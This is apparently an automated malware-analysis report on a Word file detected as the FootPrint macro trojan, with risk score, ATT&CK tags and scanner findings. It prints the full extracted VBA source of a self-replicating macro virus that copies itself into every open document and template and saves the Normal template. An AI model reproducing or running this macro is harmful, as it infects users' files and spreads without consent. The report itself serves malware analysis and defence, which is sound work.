MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to export its code to a temporary file and then inject it into other open documents or templates. This behavior suggests a self-propagating mechanism, likely intended to infect other files on the system.
Heuristics 3
-
ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.FootPrint-4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2145 bytes |
SHA-256: 2b43d52bc8aeffc002c8440a699ea103619eefceccabca55d8b070602a040fea |
|||
|
Detection
ClamAV:
Doc.Trojan.FootPrint-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Sub ComboBox1_Change()
End Sub
Private Sub CheckBox1_Click()
End Sub
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
Line Input #1, al
Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
If Not adoc.CustomDocumentProperties("FootPrint1") Then
adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
End If
Next
For Each atpl In Templates
If Not atpl.CustomDocumentProperties("FootPrint1") Then
atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
End If
Next
NormalTemplate.Save
End Sub
Private Sub OptionButton1_Click()
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.